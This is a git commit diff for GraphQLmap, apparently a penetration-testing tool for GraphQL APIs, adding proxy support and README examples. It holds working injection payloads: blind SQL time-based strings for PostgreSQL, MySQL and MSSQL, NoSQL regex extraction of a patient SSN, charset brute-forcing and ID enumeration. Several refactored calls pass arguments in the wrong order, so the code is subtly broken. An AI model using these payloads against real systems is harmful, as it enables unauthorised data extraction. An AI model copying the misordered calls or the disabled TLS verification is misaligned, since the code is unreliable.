GraphQL Docker link + README update + Proxy support

pull/40/head
Swissky 2022-01-17 14:42:18 +01:00
parent b77bf7339a
commit 41d779b998
4 changed files with 91 additions and 45 deletions

View File

@ -10,6 +10,8 @@
- Execute GraphQL queries - Execute GraphQL queries
- Autocomplete queries - Autocomplete queries
- [GraphQL field fuzzing](#graphql-field-fuzzing) - [GraphQL field fuzzing](#graphql-field-fuzzing)
- [Example 1 - Bruteforce a character](#example-1---bruteforce-a-character)
- [Example 2 - Iterate over a number](#example-2---iterate-over-a-number)
- [NoSQL injection inside a GraphQL field](#nosql-injection) - [NoSQL injection inside a GraphQL field](#nosql-injection)
- [SQL injection inside a GraphQL field](#sqli-injection) - [SQL injection inside a GraphQL field](#sqli-injection)
@ -31,7 +33,7 @@ $ python graphqlmap.py
| | | | | | | |
|_| |_| |_| |_|
Author:Swissky Version:1.0 Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]]
optional arguments: optional arguments:
-h, --help show this help message and exit -h, --help show this help message and exit
@ -39,7 +41,8 @@ optional arguments:
-v [VERBOSITY] Enable verbosity -v [VERBOSITY] Enable verbosity
--method [METHOD] HTTP Method to use interact with /graphql endpoint --method [METHOD] HTTP Method to use interact with /graphql endpoint
--headers [HEADERS] HTTP Headers sent to /graphql endpoint --headers [HEADERS] HTTP Headers sent to /graphql endpoint
--json Send requests using POST and JSON --json [USE_JSON] Use JSON encoding, implies POST
--proxy [PROXY] HTTP proxy to log requests
``` ```
@ -49,8 +52,12 @@ optional arguments:
### Connect to a graphql endpoint ### Connect to a graphql endpoint
``` ```py
# Connect using POST and providing an authentication token
python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}' python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'
# Pass request through Burp Proxy
python graphqlmap.py -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080
``` ```
### Dump a GraphQL schema ### Dump a GraphQL schema
@ -107,6 +114,8 @@ GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin
Use `GRAPHQL_INCREMENT` and `GRAPHQL_CHARSET` to fuzz a parameter. Use `GRAPHQL_INCREMENT` and `GRAPHQL_CHARSET` to fuzz a parameter.
[:movie_camera: Live Example](https://asciinema.org/a/ICCz3PqHVNrBf262x6tQfuwqT) [:movie_camera: Live Example](https://asciinema.org/a/ICCz3PqHVNrBf262x6tQfuwqT)
#### Example 1 - Bruteforce a character
```powershell ```powershell
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}} GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}
@ -126,6 +135,38 @@ GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiG
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}} [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
``` ```
#### Example 2 - Iterate over a number
Use `GRAPHQL_INCREMENT_` followed by a number.
```powershell
GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} }
[+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} }
[+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} }
[+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} }
[+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} }
[+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} }
[+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} }
[+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} }
[+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} }
[+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} }
[+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} }
GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} }
{ paste(pId: "9") {id,title,content,public,userAgent} }
{
"data": {
"paste": {
"content": "I was excited to spend time with my wife without being interrupted by kids.",
"id": "UGFzdGVPYmplY3Q6OQ==",
"public": true,
"title": "This is my first paste",
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
}
}
```
### NoSQLi injection ### NoSQLi injection
Use `BLIND_PLACEHOLDER` inside the query for the `nosqli` function. Use `BLIND_PLACEHOLDER` inside the query for the `nosqli` function.
@ -148,10 +189,12 @@ GraphQLmap > mysqli
GraphQLmap > mssqli GraphQLmap > mssqli
``` ```
## Practice
* [Damn Vulnerable GraphQL Application - @dolevf](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application/blob/master/setup.py)
## TODO ## TODO
* Docker with vulnerable GraphQL
* Unit tests * Unit tests
* Handle node * Handle node
``` ```

View File

@ -1,17 +1,17 @@
#!/usr/bin/python #!/usr/bin/python
from utils import * from utils import *
import re
def display_types(URL, method, headers, use_json, proxy):
def display_types(URL, method, headers, use_json):
payload = "{__schema{types{name}}}" payload = "{__schema{types{name}}}"
r = requester(URL, method, payload, headers, use_json) r = requester(URL, method, payload, headers, use_json, proxy)
if r is not None: if r is not None:
schema = r.json() schema = r.json()
for names in schema['data']['__schema']['types']: for names in schema['data']['__schema']['types']:
print(names) print(names)
def dump_schema(url, method, graphversion, headers, use_json): def dump_schema(url, method, graphversion, headers, use_json, proxy):
""" """
Dump the GraphQL schema via Instrospection Dump the GraphQL schema via Instrospection
@ -27,7 +27,7 @@ def dump_schema(url, method, graphversion, headers, use_json):
else: else:
payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}" payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"
r = requester(url, method, payload, headers, use_json) r = requester(url, method, payload, headers, use_json, proxy)
schema = r.json() schema = r.json()
print("============= [SCHEMA] ===============") print("============= [SCHEMA] ===============")
@ -70,10 +70,10 @@ def dump_schema(url, method, graphversion, headers, use_json):
print("") print("")
def exec_graphql(url, method, query, headers=None, use_json=False, only_length=0): def exec_graphql(url, method, query, proxy, headers=None, use_json=False, only_length=0):
if headers is None: if headers is None:
headers = {} headers = {}
r = requester(url, method, query, headers, use_json) r = requester(url, method, query, headers, use_json, proxy)
try: try:
graphql = r.json() graphql = r.json()
errors = graphql.get("errors") errors = graphql.get("errors")
@ -102,15 +102,13 @@ def exec_graphql(url, method, query, headers=None, use_json=False, only_length=0
return "\033[91m[!]\033[0m {}".format(str(e)) return "\033[91m[!]\033[0m {}".format(str(e))
def exec_advanced(url, method, query, headers, use_json): def exec_advanced(url, method, query, headers, use_json, proxy):
print(query)
# Allow a user to bruteforce character from a charset # Allow a user to bruteforce character from a charset
# e.g: {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}} # e.g: {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
if "GRAPHQL_CHARSET" in query: if "GRAPHQL_CHARSET" in query:
graphql_charset = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~" graphql_charset = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"
for c in graphql_charset: for c in graphql_charset:
length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), headers, use_json, only_length=1) length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), proxy, headers, use_json, only_length=1)
print( print(
"[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c))) "[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c)))
@ -120,45 +118,44 @@ def exec_advanced(url, method, query, headers, use_json):
elif "GRAPHQL_INCREMENT_" in query: elif "GRAPHQL_INCREMENT_" in query:
regex = re.compile("GRAPHQL_INCREMENT_(\d*)") regex = re.compile("GRAPHQL_INCREMENT_(\d*)")
match = regex.findall(query) match = regex.findall(query)
for i in range(int(match[0])): for i in range(int(match[0])):
pattern = "GRAPHQL_INCREMENT_" + match[0] pattern = "GRAPHQL_INCREMENT_" + match[0]
length = exec_graphql(url, method, query.replace(pattern, str(i)), headers, use_json, only_length=1) length = exec_graphql(url, method, query.replace(pattern, str(i)), proxy, headers, use_json, only_length=1)
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i)))) print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i))))
# Otherwise execute the query and display the JSON result # Otherwise execute the query and display the JSON result
else: else:
print(exec_graphql(url, method, query, headers, use_json)) print(exec_graphql(url, method, query, proxy, headers, use_json))
def blind_postgresql(url, method, headers, use_json): def blind_postgresql(url, method, proxy, headers, use_json):
query = input("Query > ") query = input("Query > ")
payload = "1 AND pg_sleep(30) --" payload = "1 AND pg_sleep(30) --"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
requester(url, method, injected, headers, use_json) requester(url, method, injected, headers, use_json, proxy)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
def blind_mysql(url, method, headers, use_json): def blind_mysql(url, method, proxy, headers, use_json):
query = input("Query > ") query = input("Query > ")
payload = "'-SLEEP(30); #" payload = "'-SLEEP(30); #"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
requester(url, method, injected, headers, use_json) requester(url, method, injected, headers, use_json, proxy)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
def blind_mssql(url, method, headers, use_json): def blind_mssql(url, method, proxy, headers, use_json):
query = input("Query > ") query = input("Query > ")
payload = "'; WAITFOR DELAY '00:00:30';" payload = "'; WAITFOR DELAY '00:00:30';"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
requester(url, method, injected, headers, use_json) requester(url, method, injected, headers, use_json, proxy)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
def blind_nosql(url, method, headers, use_json): def blind_nosql(url, method, proxy, headers, use_json):
# Query - include BLIND_PLACEHOLDER. e.g. {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}} # Query - include BLIND_PLACEHOLDER. e.g. {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
query = input("Query > ") query = input("Query > ")
# Check the input (known value) against the data found - e.g. 5d089c51dcab2d0032fdd08d # Check the input (known value) against the data found - e.g. 5d089c51dcab2d0032fdd08d
@ -174,7 +171,7 @@ def blind_nosql(url, method, headers, use_json):
old_data = data old_data = data
for c in charset: for c in charset:
injected = query.replace("BLIND_PLACEHOLDER", data + c) injected = query.replace("BLIND_PLACEHOLDER", data + c)
r = requester(url, method, injected, headers, use_json) r = requester(url, method, injected, headers, use_json, proxy)
if check in r.text: if check in r.text:
data += c data += c
# display data and update the current line # display data and update the current line

View File

@ -36,6 +36,9 @@ class GraphQLmap(object):
self.method = args_graphql.method self.method = args_graphql.method
self.headers = None if not args_graphql.headers else json.loads(args_graphql.headers) self.headers = None if not args_graphql.headers else json.loads(args_graphql.headers)
self.use_json = True if args_graphql.use_json else False self.use_json = True if args_graphql.use_json else False
self.proxy = {
"http" : args_graphql.proxy,
}
while True: while True:
query = input("GraphQLmap > ") query = input("GraphQLmap > ")
@ -47,28 +50,28 @@ class GraphQLmap(object):
display_help() display_help()
elif query == "debug": elif query == "debug":
display_types(self.url, self.method, self.headers, self.use_json) display_types(self.url, self.method, self.proxy, self.headers, self.use_json)
elif query == "dump_new": elif query == "dump_via_introspection":
dump_schema(self.url, self.method, 15, self.headers, self.use_json) dump_schema(self.url, self.method, 15, self.proxy, self.headers, self.use_json)
elif query == "dump_old": elif query == "dump_via_fragment":
dump_schema(self.url, self.method, 14, self.headers, self.use_json) dump_schema(self.url, self.method, 14, self.proxy, self.headers, self.use_json)
elif query == "nosqli": elif query == "nosqli":
blind_nosql(self.url, self.method, self.headers, self.use_json) blind_nosql(self.url, self.method, self.proxy, self.headers, self.use_json)
elif query == "postgresqli": elif query == "postgresqli":
blind_postgresql(self.url, self.method, self.headers, self.use_json) blind_postgresql(self.url, self.method, self.proxy, self.headers, self.use_json)
elif query == "mysqli": elif query == "mysqli":
blind_mysql(self.url, self.method, self.headers, self.use_json) blind_mysql(self.url, self.method, self.proxy, self.headers, self.use_json)
elif query == "mssqli": elif query == "mssqli":
blind_mssql(self.url, self.method, self.headers, self.use_json) blind_mssql(self.url, self.method, self.proxy, self.headers, self.use_json)
else: else:
exec_advanced(args_graphql.url, self.method, query, self.headers, self.use_json) exec_advanced(args_graphql.url, self.method, query, self.proxy, self.headers, self.use_json)
if __name__ == "__main__": if __name__ == "__main__":

View File

@ -4,7 +4,7 @@ import json
import requests import requests
cmdlist = ["exit", "help", "dump_old", "dump_new", "postgresqli", "mysqli", "mssqli", "nosqli", "mutation", "edges", cmdlist = ["exit", "help", "dump_via_fragment", "dump_via_introspection", "postgresqli", "mysqli", "mssqli", "nosqli", "mutation", "edges",
"node", "$regex", "$ne", "__schema"] "node", "$regex", "$ne", "__schema"]
@ -20,7 +20,7 @@ def jq(data):
return json.dumps(data, indent=4, sort_keys=True) return json.dumps(data, indent=4, sort_keys=True)
def requester(url, method, payload, headers=None, use_json=False): def requester(url, method, payload, proxy, headers=None, use_json=False):
if method == "POST" or use_json: if method == "POST" or use_json:
data = { data = {
"query": payload.replace("+", " ") "query": payload.replace("+", " ")
@ -30,12 +30,12 @@ def requester(url, method, payload, headers=None, use_json=False):
if use_json: if use_json:
new_headers['Content-Type'] = 'application/json' new_headers['Content-Type'] = 'application/json'
new_data = json.dumps(data) new_data = json.dumps(data)
r = requests.post(url, data=new_data, verify=False, headers=new_headers) r = requests.post(url, data=new_data, verify=False, headers=new_headers, proxies=proxy)
if r.status_code == 500: if r.status_code == 500:
print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m") print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m")
return None return None
else: else:
r = requests.get(url + "?query={}".format(payload), verify=False, headers=headers) r = requests.get(url + "?query={}".format(payload), verify=False, headers=headers, proxies=proxy)
return r return r
@ -48,6 +48,9 @@ def parse_args():
parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint", parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint",
nargs='?', const=True, type=str) nargs='?', const=True, type=str)
parser.add_argument('--json', action='store', dest='use_json', help="Use JSON encoding, implies POST", nargs='?', const=True, type=bool) parser.add_argument('--json', action='store', dest='use_json', help="Use JSON encoding, implies POST", nargs='?', const=True, type=bool)
parser.add_argument('--proxy', action='store', dest='proxy',
help="HTTP proxy to log requests", nargs='?', const=True, default=None)
results = parser.parse_args() results = parser.parse_args()
if results.url is None: if results.url is None:
parser.print_help() parser.print_help()